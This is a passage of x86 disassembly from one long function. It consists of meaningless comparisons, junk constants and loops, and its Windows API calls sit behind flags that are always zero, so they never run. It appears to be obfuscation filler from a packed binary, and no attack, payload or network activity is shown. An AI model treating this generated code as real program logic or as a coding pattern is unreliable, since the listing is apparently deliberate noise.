imul eax, dword [ebp - 0xd40]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x22c0]
jl 0x46c3ab
mov dword [ebp - 0x1c78], 1
jmp 0x46c3b2
and dword [ebp - 0x1c78], 0
cmp dword [ebp - 0x1c78], 1
je 0x46c3d6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x22c0], 0
je 0x46c3d6
mov dword [ebp - 0x1c80], 1
jmp 0x46c3dd
and dword [ebp - 0x1c80], 0
mov eax, dword [ebp - 0xd48]
cmp dword [ebp - 0x1c80], eax
jl 0x46c3f7
mov dword [ebp - 0xd50], 1
jmp 0x46c3fe
and dword [ebp - 0xd50], 0
cmp dword [ebp - 0xd50], 0x3f29c8dd
jl 0x46c423
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2290], 0
jne 0x46c423
and dword [ebp - 0x1c88], 0
jmp 0x46c42d
mov dword [ebp - 0x1c88], 1
mov eax, dword [ebp - 0x1c88]
mov dword [ebp - 0xd58], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x22c0]
add eax, dword [ebp - 0xd58]
push 4
pop ecx
shl ecx, 1
cmp dword [ebp + ecx - 0x22c0], eax
jge 0x46c465
mov dword [ebp - 0x1c90], 1
jmp 0x46c46c
and dword [ebp - 0x1c90], 0
mov eax, dword [ebp - 0x1c90]
mov dword [ebp - 0x246c], eax
mov byte [ebp - 0x399], 0
movzx eax, byte [ebp - 0x399]
test eax, eax
je 0x46c49b
push 0
push 0
push 0x22fb
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [ebp - 0x3610], 0xb566e66b
push 3
lea ecx, [ebp - 0x2c8c]
call fcn.00432b0d
mov dword [ebp - 0x624], 0
jmp 0x46c4cb
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 3
jge 0x46c4ed
push dword [ebp - 0x624]
lea ecx, [ebp - 0x2c8c]
call fcn.00432bfb
mov dword [eax], 8
jmp 0x46c4be
push 2
lea ecx, [ebp - 0x2c8c]
call fcn.00432bfb
or dword [eax], 0xffffffff
mov byte [ebp - 0x3ff], 0
movzx eax, byte [ebp - 0x3ff]
test eax, eax
je 0x46c519
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
lea ecx, [ebp - 0x2c8c]
call fcn.00432bdf
mov dword [ebp - 0x3270], 0
push 4
lea ecx, [ebp - 0x994]
call fcn.00432b0d
mov dword [ebp - 0xd70], 0xfffffffd
mov dword [ebp - 0xd78], 0x9b950315
mov dword [ebp - 0x9f0], 1
mov dword [ebp - 0x2474], 6
push 2
lea ecx, [ebp - 0x2ca4]
call fcn.00432b0d
mov dword [ebp - 0x1ca8], 1
push 2
lea ecx, [ebp - 0x32e4]
call fcn.00432b0d
mov dword [ebp - 0x14], 0
jmp 0x46c597
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x46c5ad
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x32d4], 0
jmp 0x46c590
mov dword [ebp - 0x14], 0
jmp 0x46c5bd
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x46c5d9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov dword [eax], 0x860b4ffb
jmp 0x46c5b6
mov dword [ebp - 0x14], 0
jmp 0x46c5e9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x46c5ff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3828], 0x72b21a35
jmp 0x46c5e2
mov dword [ebp - 0x14], 0
jmp 0x46c60f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x46c628
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2ca4]
call fcn.00432bfb
and dword [eax], 0
jmp 0x46c608
mov dword [ebp - 0x14], 0
jmp 0x46c638
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x46c651
push dword [ebp - 0x14]
lea ecx, [ebp - 0x32e4]
call fcn.00432bfb
and dword [eax], 0
jmp 0x46c631
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
and dword [eax], 0
jmp 0x46c687
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0xd60]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xd60]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
cmp dword [eax], 2
jg 0x46c7dc
mov dword [ebp - 0x62c], 0x17e2f9d4
mov dword [ebp - 0x3788], 0xfffffff7
mov dword [ebp - 0x3278], 0
mov dword [ebp - 0x3618], 0x32a17d0b
mov dword [ebp - 0xb08], 7
mov dword [ebp - 0x8c8], 0
jmp 0x46c6e8
mov eax, dword [ebp - 0x8c8]
inc eax
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 3
jge 0x46c704
mov eax, dword [ebp - 0x8c8]
mov dword [ebp + eax*4 - 0x2c74], 0xf145ba13
jmp 0x46c6db
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x32d4], 0
jne 0x46c735
mov eax, dword [ebp - 0xb08]
inc eax
mov dword [ebp - 0xb08], eax
jne 0x46c735
and dword [ebp - 0x1c98], 0
jmp 0x46c73f
mov dword [ebp - 0x1c98], 1
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x32d4]
cmp eax, dword [ebp - 0x1c98]
je 0x46c769
mov dword [ebp - 0xd68], 1
jmp 0x46c770
and dword [ebp - 0xd68], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c74]
imul eax, dword [ebp - 0xd68]
imul eax, eax, 0xfffb
mov dword [ebp - 0xd78], eax
mov dword [ebp - 0x62c], 0
jmp 0x46c7a9
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 2
jg 0x46c7d7
push 4
pop esi
shl esi, 0
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov eax, dword [eax]
mov ecx, dword [ebp + esi - 0x2c74]
mov dword [ebp + eax*4 - 0x2c74], ecx
jmp 0x46c79c
jmp 0x46c663
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov esi, dword [ebp - 0x2474]
push 1
lea ecx, [ebp - 0x2ca4]
call fcn.00432bfb
cmp esi, dword [eax]
jge 0x46c80c
mov dword [ebp - 0x1ca0], 1
jmp 0x46c813
and dword [ebp - 0x1ca0], 0
mov eax, dword [ebp - 0x9f0]
dec eax
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x1ca0]
mov dword [ebp - 0xd70], eax
mov eax, dword [ebp - 0xd70]
add eax, 0xebe1
mov dword [ebp - 0x1ca8], eax
imul esi, dword [ebp - 0x9f0], 0
add esi, dword [ebp - 0x1ca8]
push 2
lea ecx, [ebp - 0x994]
call fcn.00432bfb
cmp esi, dword [eax]
je 0x46c867
mov dword [ebp - 0x247c], 1
jmp 0x46c86e
and dword [ebp - 0x247c], 0
push 3
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov eax, dword [ebp - 0xd78]
mov dword [ebp - 0x1cb0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1cb0]
mov dword [ebp + eax - 0x3828], ecx
push 2
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1cb0]
cmp ecx, dword [eax]
jge 0x46c8bd
mov dword [ebp - 0xd80], 1
jmp 0x46c8c4
and dword [ebp - 0xd80], 0
push 2
lea ecx, [ebp - 0x994]
call fcn.00432bfb
mov ecx, dword [ebp - 0xd80]
mov dword [eax], ecx
lea ecx, [ebp - 0x32e4]
call fcn.00432bdf
lea ecx, [ebp - 0x2ca4]
call fcn.00432bdf
lea ecx, [ebp - 0x994]
call fcn.00432bdf
mov dword [ebp - 0x3280], 0
mov dword [ebp - 0x2b34], 5
mov dword [ebp - 0x2b30], 5
mov dword [ebp - 0x2b2c], 5
mov dword [ebp - 0x2b28], 5
lea ecx, [ebp - 0xc19]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2b24]
push eax
lea eax, [ebp - 0x2b34]
push eax
lea ecx, [ebp - 0x3994]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x38ac]
call fcn.00432bb9
mov dword [ebp - 0x7f0], 6
mov dword [ebp - 0x36f8], 0xc7c8a6b9
mov dword [ebp - 0x3288], 1
mov dword [ebp - 0x3620], 0x78abc106
mov dword [ebp - 0x2e7c], 6
mov dword [ebp - 0x3740], 0xfffffffd
mov dword [ebp - 0x373c], 0xfffffffd
mov dword [ebp - 0x3738], 0xfffffffd
mov dword [ebp - 0x3734], 0xfffffffd
mov dword [ebp - 0x1cb8], 0x17ca
mov dword [ebp - 0x7f0], 0
jmp 0x46c9de
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 3
jg 0x46ca71
mov dword [ebp - 0x2e80], 0xfffffffe
mov dword [ebp - 0x1a4], 0
jmp 0x46ca0e
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jge 0x46ca2a
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x399c], 0
jmp 0x46ca01
mov dword [ebp - 0x1a4], 0
jmp 0x46ca43
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 3
jge 0x46ca5f
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x39d4], 0x7865925e
jmp 0x46ca36
mov eax, dword [ebp - 0x1cb8]
dec eax
mov dword [ebp - 0x1cb8], eax
jmp 0x46c9d1
lea ecx, [ebp - 0x38ac]
call fcn.00432bdf
mov dword [ebp - 0x2e88], 7
mov dword [ebp - 0x2e90], 0xfffffffa
mov dword [ebp - 0xd88], 0
mov dword [ebp - 0x2e98], 0x51dba339
mov dword [ebp - 0x2ea0], 0xa5043c4a
mov dword [ebp - 0x2ea8], 0x90edcad2
push 1
lea ecx, [ebp - 0x32f4]
call fcn.00432b0d
mov dword [ebp - 0x1cc0], 4
mov dword [ebp - 0x634], 0
jmp 0x46cae8
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 1
jge 0x46cb0a
push dword [ebp - 0x634]
lea ecx, [ebp - 0x32f4]
call fcn.00432bfb
mov dword [eax], 0x85c9e53e
jmp 0x46cadb
mov eax, dword [ebp - 0xd88]
inc eax
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0x1cc0]
dec eax
mov dword [ebp - 0x1cc0], eax
lea ecx, [ebp - 0x32f4]
call fcn.00432bdf
mov dword [ebp - 0x2eb0], 0xfffffffa
push 1
lea ecx, [ebp - 0x3334]
call fcn.00432b0d
mov dword [ebp - 0x28c], 0x4ebb
mov dword [ebp - 0x4e0], 0xffffffff
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x28c], 0
je 0x46cb88
mov eax, 0x7a7525d2
sub eax, dword [ebp - 0x28c]
je 0x46cb88
mov dword [ebp - 0xd90], 1
jmp 0x46cb8f
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0xd90]
cmp eax, dword [ebp - 0x28c]
jle 0x46cbbf
push 8
pop eax
test eax, eax
jne 0x46cbbf
and dword [ebp - 0x1cc8], 0
jmp 0x46cbc9
mov dword [ebp - 0x1cc8], 1
mov eax, dword [ebp - 0x1cc8]
sub eax, dword [ebp - 0x28c]
cmp eax, dword [ebp - 0x28c]
jl 0x46cbe9
mov dword [ebp - 0xd98], 1
jmp 0x46cbf0
and dword [ebp - 0xd98], 0
cmp dword [ebp - 0xd98], 0xcdf98a59
je 0x46cc0e
cmp dword [ebp - 0x4e0], 0
jne 0x46cc0e
and dword [ebp - 0x1cd0], 0
jmp 0x46cc18
mov dword [ebp - 0x1cd0], 1
mov eax, dword [ebp - 0x1cd0]
neg eax
je 0x46cc43
mov byte [ebp - 0x3a1], 0
movzx eax, byte [ebp - 0x3a1]
test eax, eax
je 0x46cc41
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
jmp 0x46cc6d
mov byte [ebp - 0x401], 0
movzx eax, byte [ebp - 0x401]
test eax, eax
je 0x46cc6d
push 0x1d43
push 0
push 0
push 0
push 0xea3
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x4e0], eax
push 1
lea ecx, [ebp - 0x2214]
call fcn.00432b0d
mov dword [ebp - 0xbd4], 0xffffffff
push 2
lea ecx, [ebp - 0x2980]
call fcn.00432b0d
mov dword [ebp - 0x938], 0x8af8
mov dword [ebp - 0x1ce8], 0xa5d732ad
mov dword [ebp - 0x2494], 0x2d50c857
mov dword [ebp - 0x249c], 0xcee05243
mov dword [ebp - 0xac], 0
jmp 0x46ccde
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x46cd00
push dword [ebp - 0xac]
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
mov dword [eax], 0x22124f84
jmp 0x46ccd1
mov dword [ebp - 0xac], 0
jmp 0x46cd19
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x46cd3b
push dword [ebp - 0xac]
lea ecx, [ebp - 0x2980]
call fcn.00432bfb
mov dword [eax], 0xfffffff8
jmp 0x46cd0c
mov dword [ebp - 0xac], 0
jmp 0x46cd54
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 4
jge 0x46cd70
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x3a64], 0xb83eb619
jmp 0x46cd47
cmp dword [ebp - 0xbd4], 0x35d56974
jne 0x46cd88
mov dword [ebp - 0xda0], 1
jmp 0x46cd8f
and dword [ebp - 0xda0], 0
push 1
lea ecx, [ebp - 0x2980]
call fcn.00432bfb
mov dword [eax], 0xee34
cmp dword [ebp - 0xda0], 0xee34
jg 0x46cdba
mov dword [ebp - 0x1cd8], 1
jmp 0x46cdc1
and dword [ebp - 0x1cd8], 0
push 0
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1cd8]
cmp ecx, dword [eax]
jg 0x46cde4
mov dword [ebp - 0x2484], 1
jmp 0x46cdeb
and dword [ebp - 0x2484], 0
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x2f14], eax
cmp dword [ebp - 0xbd4], 7
je 0x46ce0c
mov dword [ebp - 0xda8], 1
jmp 0x46ce13
and dword [ebp - 0xda8], 0
cmp dword [ebp - 0xda8], 0x8d5feaf8
jb 0x46ce2b
mov dword [ebp - 0x1ce0], 1
jmp 0x46ce32
and dword [ebp - 0x1ce0], 0
mov eax, dword [ebp - 0x938]
cmp dword [ebp - 0x1ce0], eax
jle 0x46ce4c
mov dword [ebp - 0x248c], 1
jmp 0x46ce53
and dword [ebp - 0x248c], 0
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0x2f1c], eax
or esi, 0xffffffff
sub esi, dword [ebp - 0x938]
push 0
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
cmp esi, dword [eax]
je 0x46ce85
mov dword [ebp - 0xdb0], 1
jmp 0x46ce8c
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0xdb0]
mov dword [ebp - 0x1ce8], eax
mov eax, dword [ebp - 0x1ce8]
add eax, 0x237f4a7d
neg eax
cmp eax, dword [ebp - 0x938]
jg 0x46ceb9
mov dword [ebp - 0xdb8], 1
jmp 0x46cec0
and dword [ebp - 0xdb8], 0
push 0
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
mov eax, dword [eax]
cmp eax, dword [ebp - 0xdb8]
jg 0x46cee3
mov dword [ebp - 0x1cf0], 1
jmp 0x46ceea
and dword [ebp - 0x1cf0], 0
push 0
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1cf0]
jl 0x46cf0d
mov dword [ebp - 0x9f8], 1
jmp 0x46cf14
and dword [ebp - 0x9f8], 0
push 0
lea ecx, [ebp - 0x2214]
call fcn.00432bfb
mov ecx, dword [ebp - 0x9f8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0x2494], eax
push 1
lea ecx, [ebp - 0x2980]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x249c], eax
mov byte [ebp - 0x3a9], 0
movzx eax, byte [ebp - 0x3a9]
test eax, eax
je 0x46cf84
push 0x14a
push 0x13eb
push 0x1ffb
push 0x1f2a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
lea ecx, [ebp - 0x2980]
call fcn.00432bdf
lea ecx, [ebp - 0x2214]
call fcn.00432bdf
mov dword [ebp - 0x23c], 0
jmp 0x46cfb3
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jge 0x46cfd5
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov dword [eax], 1
jmp 0x46cfa6
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x100], 1
mov dword [ebp - 0xa00], 0xfffffff7
mov dword [ebp - 0x63c], 0
jmp 0x46d009
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 1
jge 0x46d022
mov eax, dword [ebp - 0x63c]
mov dword [ebp + eax*4 - 0x6c], 0x2799ac78
jmp 0x46cffc
mov dword [ebp - 0x24], 0
jmp 0x46d032
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x46d045
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6c], 0xa12b57e8
jmp 0x46d02b
mov dword [ebp - 0x24], 0
jmp 0x46d055
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x46d4a3
mov dword [ebp - 0x644], 9
mov dword [ebp - 0x24bc], 1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x2f24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x2f2c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x2f34], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp dword [ebp - 0x24], eax
jge 0x46d0b2
mov dword [ebp - 0xdc0], 1
jmp 0x46d0b9
and dword [ebp - 0xdc0], 0
cmp dword [ebp - 0xdc0], 0
jne 0x46d0ce
mov dword [ebp - 0x1cf8], 1
jmp 0x46d0d5
and dword [ebp - 0x1cf8], 0
cmp dword [ebp - 0x1cf8], 8
jae 0x46d0ea
mov dword [ebp - 0xdc8], 1
jmp 0x46d0f1
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp dword [ebp - 0x100], eax
jge 0x46d118
mov dword [ebp - 0x1d00], 1
jmp 0x46d11f
and dword [ebp - 0x1d00], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x1d00]
mov ecx, dword [ebp - 0x24]
cmp eax, dword [ebp + ecx*4 - 0x6c]
jg 0x46d13e
mov dword [ebp - 0xdd0], 1
jmp 0x46d145
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp dword [ebp - 0xdd0], eax
jle 0x46d160
mov dword [ebp - 0x1d08], 1
jmp 0x46d167
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x1d08]
sub eax, 8
jne 0x46d17f
mov eax, 0x6c0e
test eax, eax
je 0x46d3aa
mov dword [ebp - 0x24a4], 1
mov dword [ebp - 0x24b4], 1
mov dword [ebp - 0x100], 0
jmp 0x46d1ac
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x46d3a8
mov dword [ebp - 0x24ac], 6
push 3
lea ecx, [ebp - 0x2cbc]
call fcn.00432b0d
mov dword [ebp - 0x7f8], 0
jmp 0x46d1e9
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 3
jge 0x46d20b
push dword [ebp - 0x7f8]
lea ecx, [ebp - 0x2cbc]
call fcn.00432bfb
mov dword [eax], 0x50714ba0
jmp 0x46d1dc
cmp dword [ebp - 0x644], 0x2b94
jg 0x46d223
mov dword [ebp - 0xdd8], 1
jmp 0x46d22a
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0x644]
cmp dword [ebp - 0xdd8], eax
jl 0x46d244
mov dword [ebp - 0x1d10], 1
jmp 0x46d24b
and dword [ebp - 0x1d10], 0
cmp dword [ebp - 0x1d10], 0
jae 0x46d260
mov dword [ebp - 0xde0], 1
jmp 0x46d267
and dword [ebp - 0xde0], 0
cmp dword [ebp - 0xde0], 7
jle 0x46d27c
mov dword [ebp - 0xb10], 1
jmp 0x46d283
and dword [ebp - 0xb10], 0
push 1
lea ecx, [ebp - 0x2cbc]
call fcn.00432bfb
mov ecx, dword [ebp - 0xb10]
mov dword [eax], ecx
cmp dword [ebp - 0xb10], 0
jne 0x46d2ad
mov dword [ebp - 0x1d18], 1
jmp 0x46d2b4
and dword [ebp - 0x1d18], 0
mov eax, dword [ebp - 0x24a4]
cmp eax, dword [ebp - 0x1d18]
je 0x46d2ce
mov dword [ebp - 0xde8], 1
jmp 0x46d2d5
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0xde8]
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 0xa00]
mov dword [ebp - 0x2f3c], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x1d20], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp + eax*4 - 0x6c], ecx
mov eax, dword [ebp - 0x24ac]
add eax, dword [ebp - 0x644]
cmp dword [ebp - 0x1d20], eax
jge 0x46d32a
mov dword [ebp - 0xdf0], 1
jmp 0x46d331
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0xdf0]
mov dword [ebp - 0x24b4], eax
mov byte [ebp - 0x403], 0
movzx eax, byte [ebp - 0x403]
test eax, eax
je 0x46d398
push 0
push 0x1eec
push 0x2326
push 0xc93
push 0x1920
push 0x2650
push 0x2685
push 0x436
push 0x25c
push 0x1c0f
push 0x1b8
push 0x187d
push 0x21e5
push 0x4d8
call dword [sym.imp.GDI32.dll_CreateFontA]
lea ecx, [ebp - 0x2cbc]
call fcn.00432bdf
jmp 0x46d19f
jmp 0x46d411
mov dword [ebp - 0x1d28], 0x11904e20
mov dword [ebp - 0x100], 0
jmp 0x46d3cd
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x46d411
mov dword [ebp - 0x1d28], 5
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0xa00], eax
mov byte [ebp - 0x3b1], 0
movzx eax, byte [ebp - 0x3b1]
test eax, eax
je 0x46d40f
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x46d3c0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x2f44], eax
mov eax, 0x8586989
cmp eax, 0x600bf094
je 0x46d436
mov dword [ebp - 0x1d30], 1
jmp 0x46d43d
and dword [ebp - 0x1d30], 0
mov dword [ebp - 0x644], 0x4e69
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x6c], 0
je 0x46d45c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x6c], 0
je 0x46d478
cmp dword [ebp - 0x24], 0
je 0x46d478
mov dword [ebp - 0xdf8], 1
jmp 0x46d47f
and dword [ebp - 0xdf8], 0
imul eax, dword [ebp - 0xdf8], 0x5bdf
mov ecx, dword [ebp - 0x24]
imul eax, dword [ebp + ecx*4 - 0x6c]
imul eax, dword [ebp - 0x1d30]
mov dword [ebp - 0x24bc], eax
jmp 0x46d04e
mov dword [ebp - 0x23c], 0
jmp 0x46d4bc
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jge 0x46d4de
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x3334]
call fcn.00432bfb
mov dword [eax], 0xed4033e2
jmp 0x46d4af
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x64], 0xfffffffb
mov dword [ebp - 0xf0], 0x657c
mov dword [ebp - 0xd0], 0x32c2a4e6
mov dword [ebp - 0x2620], 0x387e8d9f
mov dword [ebp - 0x8d0], 0
jmp 0x46d526
mov eax, dword [ebp - 0x8d0]
inc eax
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 1
jge 0x46d542
mov eax, dword [ebp - 0x8d0]
mov dword [ebp + eax*4 - 0x26c], 0xe9a9d012
jmp 0x46d519
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x46d7bb
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x64], eax
jg 0x46d56c
mov dword [ebp - 0x1d38], 1
jmp 0x46d573
and dword [ebp - 0x1d38], 0
cmp dword [ebp - 0x64], 0xe280
je 0x46d588
mov dword [ebp - 0xe00], 1
jmp 0x46d58f
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0xe00], eax
jg 0x46d5a9
mov dword [ebp - 0xe08], 1
jmp 0x46d5b0
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0x1d38]
add eax, dword [ebp - 0xe08]
imul eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x64]
je 0x46d5da
mov eax, 0x5d5ec7e0
test eax, eax
je 0x46d5da
mov dword [ebp - 0x2600], 1
jmp 0x46d5e1
and dword [ebp - 0x2600], 0
cmp dword [ebp - 0x64], 0
je 0x46d5fc
mov eax, 0xfff9
test eax, eax
je 0x46d5fc
mov dword [ebp - 0x1d40], 1
jmp 0x46d603
and dword [ebp - 0x1d40], 0
mov eax, dword [ebp - 0x190]
imul eax, dword [ebp - 0x1d40]
cmp eax, dword [ebp - 0xf0]
jl 0x46d624
mov dword [ebp - 0xb9c], 1
jmp 0x46d62b
and dword [ebp - 0xb9c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb9c]
mov dword [ebp + eax - 0x26c], ecx
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0xb9c], eax
jne 0x46d658
mov dword [ebp - 0xe10], 1
jmp 0x46d65f
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0xe10], eax
je 0x46d679
mov dword [ebp - 0x2608], 1
jmp 0x46d680
and dword [ebp - 0x2608], 0
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x2f4c], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x2f54], eax
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x64]
cmp eax, 0x20ee
jle 0x46d6b1
mov dword [ebp - 0x1d48], 1
jmp 0x46d6b8
and dword [ebp - 0x1d48], 0
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0x1d48]
mov dword [ebp - 0xd0], eax
je 0x46d6e1
mov eax, 0xe9b8a514
test eax, eax
je 0x46d6e1
mov dword [ebp - 0xe18], 1
jmp 0x46d6e8
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0xf0]
add eax, dword [ebp - 0xe18]
cmp eax, 6
jb 0x46d705
mov dword [ebp - 0x1d50], 1
jmp 0x46d70c
and dword [ebp - 0x1d50], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x1d50], eax
jne 0x46d726
mov dword [ebp - 0xe20], 1
jmp 0x46d72d
and dword [ebp - 0xe20], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0xe20], eax
jg 0x46d747
mov dword [ebp - 0x1d58], 1
